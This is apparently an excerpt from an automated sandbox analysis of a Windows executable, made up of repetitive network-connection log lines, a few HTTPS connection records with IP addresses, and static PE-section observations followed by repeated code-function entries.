Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49843 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
